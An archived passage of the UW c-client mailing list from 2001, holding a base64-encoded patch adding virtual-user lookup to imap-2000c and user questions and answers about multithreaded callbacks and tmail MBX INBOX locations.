KysgaW1hcC0yMDAwYy12cG9wLmNvbXBpbGUvc3JjL29zZGVwL3VuaXgvdGNw X3VuaXguYwlNb24gSnVsIDE2IDE1OjMzOjAxIDIwMDEKQEAgLTM1Niw5ICsz NTYsMjEgQEAKIAwKICAgaWYgKCpzZXJ2aWNlID09ICcqJykJCS8qIGJ1aWxk IHNzaCBjb21tYW5kICovCiAgICAgc3ByaW50ZiAodG1wLHNzaGNvbW1hbmQs c3NocGF0aCxob3N0LAotCSAgICAgbWItPnVzZXJbMF0gPyBtYi0+dXNlciA6 IG15dXNlcm5hbWUgKCksc2VydmljZSArIDEpOworCSAgICAgbWItPnVzZXJb MF0gPyBtYi0+dXNlciA6IAorI2lmZGVmIFZQT1AKKwkgICAgIG15dXNlcm5h bWVfdW5peCAoKSwKKyNlbHNlCSAgICAKKwkgICAgIG15dXNlcm5hbWUgKCks CisjZW5kaWYKKwkgICAgIHNlcnZpY2UgKyAxKTsKICAgZWxzZSBzcHJpbnRm ICh0bXAscnNoY29tbWFuZCxyc2hwYXRoLGhvc3QsCi0JCW1iLT51c2VyWzBd ID8gbWItPnVzZXIgOiBteXVzZXJuYW1lICgpLHNlcnZpY2UpOworCQltYi0+ dXNlclswXSA/IG1iLT51c2VyIDogCisjaWZkZWYgVlBPUAorCQlteXVzZXJu YW1lX3VuaXgoKSwKKyNlbHNlCisJCW15dXNlcm5hbWUgKCksCisjZW5kaWYK KwkJc2VydmljZSk7CiAgIGZvciAoaSA9IDEscGF0aCA9IGFyZ3ZbMF0gPSBz dHJ0b2sgKHRtcCwiICIpOwogICAgICAgIChpIDwgTUFYQVJHVikgJiYgKGFy Z3ZbaV0gPSBzdHJ0b2sgKE5JTCwiICIpKTsgaSsrKTsKICAgYXJndltpXSA9 IE5JTDsJCS8qIG1ha2Ugc3VyZSBhcmd2IHRpZWQgb2ZmICovCkBAIC00MjIs NyArNDM0LDEyIEBACiAgIH0KICAgKCpibikgKEJMT0NLX05PTkUsTklMKTsK IAkJCQkvKiByZXR1cm4gdXNlciBuYW1lICovCisjaWZkZWYgVlBPUAorICBz dHJjcHkgKHVzcmJ1ZixtYi0+dXNlclswXSA/IG1iLT51c2VyIDogbXl1c2Vy bmFtZV91bml4ICgpKTsKKyNlbHNlCQogICBzdHJjcHkgKHVzcmJ1ZixtYi0+ dXNlclswXSA/IG1iLT51c2VyIDogbXl1c2VybmFtZSAoKSk7CisjZW5kaWYK KwkJICAKICAgcmV0dXJuIHN0cmVhbTsJCS8qIHJldHVybiBzdWNjZXNzICov CiB9CiAMCmRpZmYgLU5ydSBpbWFwLTIwMDBjLm9yaWcvc3JjL29zZGVwL3Vu aXgvdW5peC5jIGltYXAtMjAwMGMtdnBvcC5jb21waWxlL3NyYy9vc2RlcC91 bml4L3VuaXguYwotLS0gaW1hcC0yMDAwYy5vcmlnL3NyYy9vc2RlcC91bml4 L3VuaXguYwlUdWUgSmFuIDE2IDE5OjQyOjE4IDIwMDEKKysrIGltYXAtMjAw MGMtdnBvcC5jb21waWxlL3NyYy9vc2RlcC91bml4L3VuaXguYwlNb24gSnVs IDE2IDE1OjIxOjAxIDIwMDEKQEAgLTk0Niw3ICs5NDYsMTIgQEAKICAgbG9u ZyBmID0gbWFpbF9wYXJzZV9mbGFncyAoc3RyZWFtLGZsYWdzLCZ1Zik7CiAJ CQkJLyogYnVpbGQgaW5pdGlhbCBoZWFkZXIgKi8KICAgaWYgKChmcHJpbnRm IChzZiwiRnJvbSAlc0AlcyAlc1N0YXR1czogIiwKLQkJbXl1c2VybmFtZSAo KSxteWxvY2FsaG9zdCAoKSxkYXRlKSA8IDApIHx8CisjaWZkZWYgVlBPUAor CQkgIG15dXNlcm5hbWVfdW5peCAoKSwKKyNlbHNlCisJCSAgbXl1c2VybmFt ZSAoKSwKKyNlbmRpZgorCQlteWxvY2FsaG9zdCAoKSxkYXRlKSA8IDApIHx8 CiAgICAgICAoZiZmU0VFTiAmJiAocHV0YyAoJ1InLHNmKSA9PSBFT0YpKSB8 fAogICAgICAgKGZwdXRzICgiXG5YLVN0YXR1czogIixzZikgPT0gRU9GKSB8 fAogICAgICAgKGYmZkRFTEVURUQgJiYgKHB1dGMgKCdEJyxzZikgPT0gRU9G KSkgfHwKZGlmZiAtTnJ1IGltYXAtMjAwMGMub3JpZy9zcmMvb3NkZXAvdW5p eC92cG9wLmggaW1hcC0yMDAwYy12cG9wLmNvbXBpbGUvc3JjL29zZGVwL3Vu aXgvdnBvcC5oCi0tLSBpbWFwLTIwMDBjLm9yaWcvc3JjL29zZGVwL3VuaXgv dnBvcC5oCVdlZCBEZWMgMzEgMjE6MDA6MDAgMTk2OQorKysgaW1hcC0yMDAw Yy12cG9wLmNvbXBpbGUvc3JjL29zZGVwL3VuaXgvdnBvcC5oCU1vbiBKdWwg MTYgMTQ6MDQ6MzMgMjAwMQpAQCAtMCwwICsxLDIwIEBACisvKioKKyAqKiB2 cG9wLmggLS0gaGVhZGVyIGZpbGUKKyAqKi8KKworI2RlZmluZSBWUE9QX19J UFVTRVJEQl9GSUxFTkFNRSAiL2V0Yy9nYXRoZXIvbGlzdC9pcHVzZXJkYiIK KwordHlwZWRlZiBzdHJ1Y3QgeworCWludCB2YWxpZF9mb3JtOworCWludCB2 YWxpZF91c2VyOworCWNoYXIqIHVuaXhfdXNlcm5hbWU7CisJY2hhciogdmly dHVhbF91c2VybmFtZTsKKwljaGFyKiB0cmFuc2xhdGVkX3VzZXI7CisJY2hh ciogYmxhY2tfYm94X2hvbWU7CisJaW50IGF1dGhlbnRpY2F0ZWQ7CisJY2hh ciogbG9nX2Vycm9yOworfSB2cG9wX19kYXRhOworCit2cG9wX19kYXRhKiB2 cG9wX191c2VyYXV0aGVuIChjaGFyKiB1c2VybmFtZSwgY2hhciogcGFzc3dv cmQsIGNoYXIqIGRlZmF1bHRfYmFzZV91c2VybmFtZSk7Cit2b2lkIHZwb3Bf X2ZyZWVkYXRhICh2cG9wX19kYXRhKiBydik7CisKZGlmZiAtTnJ1IGltYXAt MjAwMGMub3JpZy9zcmMvb3NkZXAvdW5peC92cG9wX2V4dG1ha2VtYXAuYyBp bWFwLTIwMDBjLXZwb3AuY29tcGlsZS9zcmMvb3NkZXAvdW5peC92cG9wX2V4 dG1ha2VtYXAuYwotLS0gaW1hcC0yMDAwYy5vcmlnL3NyYy9vc2RlcC91bml4 L3Zwb3BfZXh0bWFrZW1hcC5jCVdlZCBEZWMgMzEgMjE6MDA6MDAgMTk2OQor KysgaW1hcC0yMDAwYy12cG9wLmNvbXBpbGUvc3JjL29zZGVwL3VuaXgvdnBv cF9leHRtYWtlbWFwLmMJTW9uIEp1bCAxNiAxNDowNDozMyAyMDAxCkBAIC0w LDAgKzEsMTc2IEBACisvKioKKyAqKiB2cG9wLmMgLS0gZW1haWwgdmlydHVh bCB1c2VycyBhdXRoZW50aWNhdGlvbiBsb29rdXAgc3R1ZmYKKyAqKi8KKwor I2luY2x1ZGUgInZwb3AuaCIKKyNpbmNsdWRlIDx1bmlzdGQuaD4KKyNpbmNs dWRlIDxzdGRsaWIuaD4KKyNpbmNsdWRlIDxjdHlwZS5oPgorI2luY2x1ZGUg PHN5c2xvZy5oPgorI2luY2x1ZGUgPHN5cy90eXBlcy5oPgorI2luY2x1ZGUg PHN5cy9zdGF0Lmg+CisjaW5jbHVkZSA8c3RkaW8uaD4KKyNpbmNsdWRlIDxz dHJpbmcuaD4KKyNpbmNsdWRlICJtYWlsLmgiCisjaW5jbHVkZSAibWlzYy5o IgorCisjZGVmaW5lIFZQT1BfTUFYX1NJWkUgMTI4CisjZGVmaW5lIFZQT1Bf TUFYX0xJTkUgMTAyNAorI2RlZmluZSBFWFRFUk5fQVBQICIvdXNyL2Jpbi9t YWtlbWFwIgorI2RlZmluZSBFWFRFUk5fQVBQX1BBUkFNICIgLXUgaGFzaCAv ZXRjL21haWwvdmlydHVzZXJ0YWJsZSIKKyNkZWZpbmUgTUFLRU1BUF9GSUVM RF9TRVBBUkFUT1IgIlx0IgorCisKKy8qIHZwb3BfX3RydW5jYXRlCisgKiB0 cnVuY2F0ZXMgYSBzdHJpbmcgd2hlbiBhIGRlbGltZXRlcgorICogaXMgZm91 bmQKKyAqLworY2hhciogdnBvcF9fdHJ1bmNhdGUgKCBjaGFyKiBzdHJpbmcs IGNoYXIgZGVsaW1pdGVyICkKK3sKKyAgaW50IGk7CisgIGZvciAoaSA9IDA7 IGkgPCBzdHJsZW4oc3RyaW5nKTsgaSsrKQorICAgIGlmIChzdHJpbmdbaV0g PT0gZGVsaW1pdGVyKXsKKyAgICAgIHN0cmluZ1tpXSA9ICdcMCc7CisgICAg ICBicmVhazsKKyAgICB9Cit9CisKKy8qIHZwb3BfX2V4dGVybmFsX3NlYXJj aAorICogc2VhcmNocyBhbiBleHRlcm5hbCBhcHBsaWNhdGlvbiBmb3IgYSBy ZWFsdXNlcm5hbWUKKyAqIHJldHVybnMgYSBwb2ludGVyIHRvIHRoZSByZWFs IHVzZXJuYW1lIG9yIE5VTEwgCisgKiBpZiBub3QgZm91bmQKKyAqLworY2hh ciogdnBvcF9fZXh0ZXJuYWxfc2VhcmNoICggY2hhciogdXNlcm5hbWUsIGNo YXIqIGRvbWFpbl9uYW1lLCB2cG9wX19kYXRhKiBydiApCit7CisgIEZJTEUg KmV4dGFwcDsKKyAgc3RydWN0IHN0YXQgc3RhdF9hcHA7CisgIGNoYXIgbGlu ZVtWUE9QX01BWF9MSU5FXTsKKyAgY2hhciBwb3NzaWJsZV91c2VyW1ZQT1Bf TUFYX1NJWkVdOworICBjaGFyIG9yaWdpbmFsX3VzZXJbVlBPUF9NQVhfU0la RV07CisgIGludCAgZ2xvYmFsX2RvbWFpbl9mbGFnID0gMDsKKyAgaW50ICB1 c2VyX21hdGNoX2ZsYWcgPSAwOworICBpbnQgICBzaXplOworICBjaGFyKiBy dW5hcHA7CisgIGNoYXIqIGtleTsKKyAgY2hhciogdmFsdWU7CisgIGNoYXIq IHVzZXI7CisgIAorICBzdHJjcHkob3JpZ2luYWxfdXNlciwgdXNlcm5hbWUp OworICBzaXplID0gc3RybGVuKHVzZXJuYW1lKTsKKyAgb3JpZ2luYWxfdXNl cltzaXplXSA9ICdAJzsKKyAgb3JpZ2luYWxfdXNlcltzaXplICsgMV0gPSAn XDAnOworICBzdHJjYXQob3JpZ2luYWxfdXNlciwgZG9tYWluX25hbWUpOwor ICAKKyAgaWYgKHN0YXQoRVhURVJOX0FQUCwgJnN0YXRfYXBwKSA9PSAwKQor ICB7CisgICAgaWYgKChTX0lTUkVHKHN0YXRfYXBwLnN0X21vZGUpIHx8IFNf SVNMTksoc3RhdF9hcHAuc3RfbW9kZSkpCisgCSYmKCBTX0lYT1RIICYgc3Rh dF9hcHAuc3RfbW9kZSkpIAorICAgIHsKKyAgICAgIGlmICggKGV4dGFwcCA9 IHBvcGVuIChFWFRFUk5fQVBQIEVYVEVSTl9BUFBfUEFSQU0gLCAiciIpKSAh PSBOVUxMICkKKyAgICAgIHsKKyAgICAgICAgd2hpbGUgKCAoZmdldHMgKGxp bmUsIFZQT1BfTUFYX0xJTkUsIGV4dGFwcCkpICE9IE5VTEwgKQorCXsKKwkg IGtleSAgID0gc3RydG9rKCBsaW5lICwgTUFLRU1BUF9GSUVMRF9TRVBBUkFU T1IgKTsKKwkgIHZhbHVlID0gc3RydG9rKCBOVUxMICwgTUFLRU1BUF9GSUVM RF9TRVBBUkFUT1IgKTsKKyAgICAgICAgICB2cG9wX190cnVuY2F0ZSAoIHZh bHVlLCAnXG4nICk7CisKKwkgIC8qIFRoZSBnbG9iYWwgZG9tYWluIGVtYWls ICovICAKKyAgICAgICAgICBpZiAoICggKmtleSAgPT0gJ0AnICkgJiYgKCBz dHJjbXAgKCsra2V5LCBkb21haW5fbmFtZSkgPT0gMCApICkKKwkgIHsKKwkg ICAgc3RyY3B5IChwb3NzaWJsZV91c2VyLCB2YWx1ZSk7CisJICAgIGdsb2Jh bF9kb21haW5fZmxhZyA9IDE7CisJICB9CisJICBlbHNlIGlmICggc3RyY21w IChrZXksIG9yaWdpbmFsX3VzZXIpID09IDAgKQorCSAgeworCSAgICBzdHJj cHkgKHBvc3NpYmxlX3VzZXIsIHZhbHVlKTsKKwkgICAgdXNlcl9tYXRjaF9m bGFnID0gMTsKKwkgICAgYnJlYWs7CisJICB9CSAgCisgICAgICAgIH0KKyAg ICAgICAgcGNsb3NlIChleHRhcHApOyAKKwlpZiAoIHVzZXJfbWF0Y2hfZmxh ZyB8fCBnbG9iYWxfZG9tYWluX2ZsYWcgKQorCXsKKwkgIHVzZXIgPSBjcHlz dHIocG9zc2libGVfdXNlcik7CisJICByZXR1cm4gdXNlcjsJCisJfQorCSAg cnYtPmxvZ19lcnJvciA9ICJEaWQgbm90IGZvdW5kIHVzZXIgaW4gZXh0ZXJu YWwgYXBwbGljYXRpb24uIjsKKyAgICAgIH1lbHNlICAgICAgCisgICAgICAg IHJ2LT5sb2dfZXJyb3IgPSAiQ291bGQgbm90IGV4ZWN1dGUgIiBFWFRFUk5f QVBQOyAgICAgIAorICAgIH1lbHNlICAgIAorICAgICAgcnYtPmxvZ19lcnJv ciA9IEVYVEVSTl9BUFAgIiBpcyBub3QgZXhlY3V0YWJsZS4iOwkgICAgICAg IAorICB9ZWxzZSAgCisgICAgcnYtPmxvZ19lcnJvciA9ICJDb3VsZCBub3Qg c3RhdCAiIEVYVEVSTl9BUFA7ICAKKyAgcmV0dXJuIE5VTEw7Cit9CisKKwor LyogVmlydHVhbCBwb3AgYXV0aGVudGljYXRpb24KKyAqIEluIHRoaXMgc2Ft cGxlIGNvZGUgdGhlIHVzZXJuYW1lIGlzIGNvbnZlcnRlZCB0bworICogbG93 ZXJjYXNlIGFuZCB0aGUgZG9tYWluIHBhcnQgQGRvbWFpbiBpcyBzdHJpcGVk IChpZiBhbnkpLgorICogVGhlIHJlYWwgYXV0aGVudGljYXRpb24gd2lsbCBn byB0byB0aGUgYy1jbGllbnQgaXRzZWxmLgorICovCit2cG9wX19kYXRhKiB2 cG9wX191c2VyYXV0aGVuIChjaGFyKiB1c2VybmFtZSwgY2hhciogcGFzc3dv cmQsIGNoYXIqIGRlZmF1bHRfYmFzZV91c2VybmFtZSkKK3sKKyAgdnBvcF9f ZGF0YSogcnY7CisgIGNoYXIqIGRvbWFpbl9wOworICBjaGFyKiBkb21haW5f bmFtZTsKKyAgY2hhciogZmluYWxfdXNlcjsKKyAgY2hhciByZWFsX3VzZXJu YW1lW1ZQT1BfTUFYX1NJWkVdOworCisgIC8qCisgICAqIENvcHkgdGhlIHVz ZXJuYW1lIGFuZCBwcmVwYXJlIHRoZSByZXR1cm4gc3RydWN0dXJlCisgICAq IFJldHVybmluZyBydiBsaWtlIHRoaXMgd2UgbWFrZSBjLWNsaWVudCBhdXRo ZW50aWNhdGUKKyAgICogdGhlIHVzZXIgaW4gdGhlIGRlZmF1bHQgd2F5Lgor ICAgKi8KKwkKKyAgcnYgPSAodnBvcF9fZGF0YSopIG1hbGxvYyhzaXplb2Yo dnBvcF9fZGF0YSkpOworICBydi0+dmFsaWRfZm9ybSA9IDA7CisgIHJ2LT52 YWxpZF91c2VyID0gMDsKKyAgcnYtPnVuaXhfdXNlcm5hbWUgPSBOVUxMOwor ICBydi0+dmlydHVhbF91c2VybmFtZSA9IE5VTEw7CisgIHJ2LT5ibGFja19i b3hfaG9tZSA9IE5VTEw7CisgIHJ2LT5hdXRoZW50aWNhdGVkID0gMDsKKyAg cnYtPmxvZ19lcnJvciA9IE5VTEw7CisgIHJ2LT50cmFuc2xhdGVkX3VzZXIg PSBOVUxMOworIAorICBpZiAoVlBPUF9NQVhfU0laRSA8IHN0cmxlbih1c2Vy bmFtZSkpeworICAgIHJ2LT5sb2dfZXJyb3IgPSAidXNlcm5hbWUgaXMgdG9v IGJpZy4iOworICAgIHJldHVybiBydjsKKyAgfQorCQorICBsY2FzZSh1c2Vy bmFtZSk7CisgIHZwb3BfX3RydW5jYXRlKHVzZXJuYW1lLCAnICcpOworICAK KyAgLyogTm93IHdlIGNoZWNrIGlmIHRoZXJlIGlzIGFuILRAtCBpbiB0aGUg dXNlcm5hbWUgCisgICAqIGFuZCBzdHJpcCBpdAorICAgKi8KKyAgaWYgKChk b21haW5fcCA9IHN0cmNocih1c2VybmFtZSwnQCcpKSAhPSBOVUxMKSB7Cisg IAorICAgIC8qIHNlcGFyYXRlIHRoZSB1c2VybmFtZSBmcm9tIHRoZSBkb21h aW4gbmFtZSAqLworICAgIHN0cm5jcHkoIHJlYWxfdXNlcm5hbWUsIHVzZXJu YW1lLCAoZG9tYWluX3AgLSB1c2VybmFtZSkpOworICAgIHJlYWxfdXNlcm5h bWVbZG9tYWluX3AgLSB1c2VybmFtZV0gPSAnXDAnOworICAgIGRvbWFpbl9u YW1lID0gY3B5c3RyKCsrZG9tYWluX3ApOyAKKyAgCisgICAgLyogc2VhcmNo cyBmb3IgaXQgaXMgYW4gZXh0ZXJuYWwgYXBwbGljYXRpb24gKi8KKyAgICBp ZiAoICggZmluYWxfdXNlciA9IHZwb3BfX2V4dGVybmFsX3NlYXJjaChyZWFs X3VzZXJuYW1lLCBkb21haW5fbmFtZSwgcnYpICkgPT0gTlVMTCApCisgICAg ICBmaW5hbF91c2VyID0gY3B5c3RyKHJlYWxfdXNlcm5hbWUpOworICAgIAor ICB9ZWxzZQorICAgIGZpbmFsX3VzZXIgPSBjcHlzdHIodXNlcm5hbWUpOwor ICAKKyAgcnYtPnRyYW5zbGF0ZWRfdXNlciA9IGZpbmFsX3VzZXI7CisgIHJl dHVybiBydjsKK30KKworLyogdnBvcF9fZnJlZWRhdGEKKyAqIGNsZWFycyB0 aGUgbWVtb3J5IGZyb20gYSB2cG9wX19kYXRhIHN0cnVjdHVyZQorICovCit2 b2lkIHZwb3BfX2ZyZWVkYXRhICh2cG9wX19kYXRhKiBydikKK3sKKyAgaWYg KHJ2LT51bml4X3VzZXJuYW1lKSAgICAgZnJlZShydi0+dW5peF91c2VybmFt ZSk7CisgIGlmIChydi0+dmlydHVhbF91c2VybmFtZSkgIGZyZWUocnYtPnZp cnR1YWxfdXNlcm5hbWUpOworICBpZiAocnYtPmJsYWNrX2JveF9ob21lKSAg ICBmcmVlKHJ2LT5ibGFja19ib3hfaG9tZSk7CisgIGlmIChydi0+dHJhbnNs YXRlZF91c2VyKSAgIGZyZWUocnYtPnRyYW5zbGF0ZWRfdXNlcik7CisgIGZy ZWUocnYpOworfQorCg== ------------=_995313477-10097-0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 17 06:13:40 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Jul 2001 06:13:32 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6HDDUD25024 for ; Tue, 17 Jul 2001 06:13:30 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jul 17 06:13:29 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6HDDRu27570; Tue, 17 Jul 2001 06:13:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6HDDJp26556; Tue, 17 Jul 2001 06:13:19 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6HDBV080924 for ; Tue, 17 Jul 2001 06:11:31 -0700 Received: from smtp01do.de.uu.net (smtp01do.de.uu.net [192.76.144.61]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6HDBUX13236 for ; Tue, 17 Jul 2001 06:11:31 -0700 Received: from penelope (penelope.materna.de [193.96.115.65]) by smtp01do.de.uu.net (5.5.5/5.5.5) with ESMTP id PAA10219 for ; Tue, 17 Jul 2001 15:11:29 +0200 (MET DST) Received: from ganymed (actually ganymed.materna.de) by penelope with ESMTP; Tue, 17 Jul 2001 15:11:27 +0200 Received: from taxis.materna.de (actually localhost) by ganymed with Internet with ESMTP; Tue, 17 Jul 2001 15:11:27 +0200 Received: by taxis.materna.de with Internet Mail Service (5.5.2653.19) id ; Tue, 17 Jul 2001 15:11:26 +0200 Message-Id: <73B855B4F72FD411A1CF009027B113C401511A8F@taxis.materna.de> Date: Tue, 17 Jul 2001 15:11:16 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: julia.petkau@materna.de To: c-client@u.washington.edu Subject: Multithreading in c-client MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does anybody has a multithreading c-client code? I don't see how I can = bind a callback function(mm_log for example) to a called thread, so I could = see which thread has errors. Julia ************************************************************************= **** ************ MATERNA GmbH Information & Communications Julia Petkau Business Unit Communications Vo=DFkuhle 37 44141 Dortmund GERMANY Fon +49 (231) 55 99 - 8409 Fax +49 (231) 55 99 - 8688 +49 (231) 55 99 - 67 8947 Mail julia.petkau@materna.de -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 18 13:06:24 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Jul 2001 13:06:19 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6IK6HD19557 for ; Wed, 18 Jul 2001 13:06:18 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jul 18 13:06:17 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6IK6EC28096; Wed, 18 Jul 2001 13:06:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6IK63E09986; Wed, 18 Jul 2001 13:06:03 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6IJs7018378 for ; Wed, 18 Jul 2001 12:54:08 -0700 Received: from mango.telerian.net ([195.188.42.141]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6IJs5F04203 for ; Wed, 18 Jul 2001 12:54:06 -0700 Received: from tunbury (dialup1 [192.168.234.101]) by mango.telerian.net (8.10.1/8.10.1) with SMTP id f6IJtuc07453 for ; Wed, 18 Jul 2001 20:55:57 +0100 (BST) Message-Id: <001001c10fc3$98bf7c90$65eaa8c0@demon.co.uk> Date: Wed, 18 Jul 2001 20:55:27 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: Subject: tmail, sendmail and MBX MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Apologies if this is the wrong place to ask this question - I'm moving our IMAP servers over to MBX format as the UNIX format is painfully slow for some of our larger mailboxes. I've recompiled imapd with MBX as the default prototype, and I've configured sendmail to deliver via tmail. This all works fine, but not quite as I would expect it to. What happens is that sendmail invokes tmail which takes the message straight from /var/spool/mqueue and drops them into the users home directory in a file called INBOX (in mbx format). Firstly, I was expecting the mbx format inbox to be stored in /var/spool/mail/username [and the folders to be in ~/mail]. I've been using MBX format inbox in specific peoples home directories as an interim measure and imapd has been pulling the UNIX format mail from /var/spool/mail when the inbox is opened. I'd assumed that when using tmail, it would deliver in mbx format to /var/spool/mail/username and get the inbox file out of the home directory. Is what I'm seeing the correct behaviour? Secondly, I think I would prefer the INBOX to be in ~username/mail/INBOX rather than ~username/INBOX. I've experimented with tmail and it will deliver to ~username/mail/INBOX with no problem. (a) Is there a way to make imapd see this alternative location for the INBOX, or (b) Is there a way to get the MBX mailbox to /var/spool/mail/username? or (c) Tell imapd that the users home directory is /export/home/username/mail rather than /export/home/username? My concern is that most of my users are PC based and they share their UNIX home directory with their PC accounts. I can just see them opening the INBOX file in MS Word and wrecking it. How about a totally separate home directory when looking from the mail system? For example, /export/home/username is their home directory, and /private/home/username is their home directory as far as the IMAP system is concerned. Thanks for any help Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 18 13:52:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Jul 2001 13:52:23 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6IKqMD18896 for ; Wed, 18 Jul 2001 13:52:22 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jul 18 13:52:21 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6IKqKC29515; Wed, 18 Jul 2001 13:52:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6IKnTH15532; Wed, 18 Jul 2001 13:49:29 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6IKdB078844 for ; Wed, 18 Jul 2001 13:39:12 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6IKdBK13030 for ; Wed, 18 Jul 2001 13:39:11 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/go_away) with ESMTP id f6IKdAe24001 for ; Wed, 18 Jul 2001 15:39:10 -0500 Message-Id: <3B55F296.7F6FF528@birddog.com> Date: Wed, 18 Jul 2001 15:33:26 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Davis To: c-client@u.washington.edu Subject: Re: tmail, sendmail and MBX] MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------1C8ABDBBA3C81BADD742319F" X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 1.2 (www dot roaringpenguin dot com slash mimedefang) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------1C8ABDBBA3C81BADD742319F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------1C8ABDBBA3C81BADD742319F Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Mozilla-Status2: 00000000 Message-ID: <3B55F25E.81686A20@birddog.com> Date: Wed, 18 Jul 2001 15:32:30 -0500 From: Terry Davis Organization: BirdDog Solutions, Inc. X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-2 i686) X-Accept-Language: en MIME-Version: 1.0 To: Mark Elvers Subject: Re: tmail, sendmail and MBX References: <001001c10fc3$98bf7c90$65eaa8c0@demon.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit > Is there a way to make > imapd see this alternative location for the INBOX This can be done through the sysinbox() routine in src/osdep/unix/env_unix.c > Tell imapd that the > users home directory is /export/home/username/mail rather than > /export/home/username? This can be done in src/osdep/unix/env_unix.c with the line: static char *mailsubdir = "mail/"; Just grep for mailsubdir in that file and you will see what I mean. This is all documented in docs/CONFIG I dont know about hte rest of the stuff, sorry. I would personally like to get tmail to deliver to mbx compliant inboxes. Mark Elvers wrote: > > Apologies if this is the wrong place to ask this question - > > I'm moving our IMAP servers over to MBX format as the UNIX format is > painfully slow for some of our larger mailboxes. I've recompiled imapd with > MBX as the default prototype, and I've configured sendmail to deliver via > tmail. > > This all works fine, but not quite as I would expect it to. What happens is > that sendmail invokes tmail which takes the message straight from > /var/spool/mqueue and drops them into the users home directory in a file > called INBOX (in mbx format). > > Firstly, I was expecting the mbx format inbox to be stored in > /var/spool/mail/username [and the folders to be in ~/mail]. I've been using > MBX format inbox in specific peoples home directories as an interim measure > and imapd has been pulling the UNIX format mail from /var/spool/mail when > the inbox is opened. I'd assumed that when using tmail, it would deliver in > mbx format to /var/spool/mail/username and get the inbox file out of the > home directory. Is what I'm seeing the correct behaviour? > > Secondly, I think I would prefer the INBOX to be in ~username/mail/INBOX > rather than 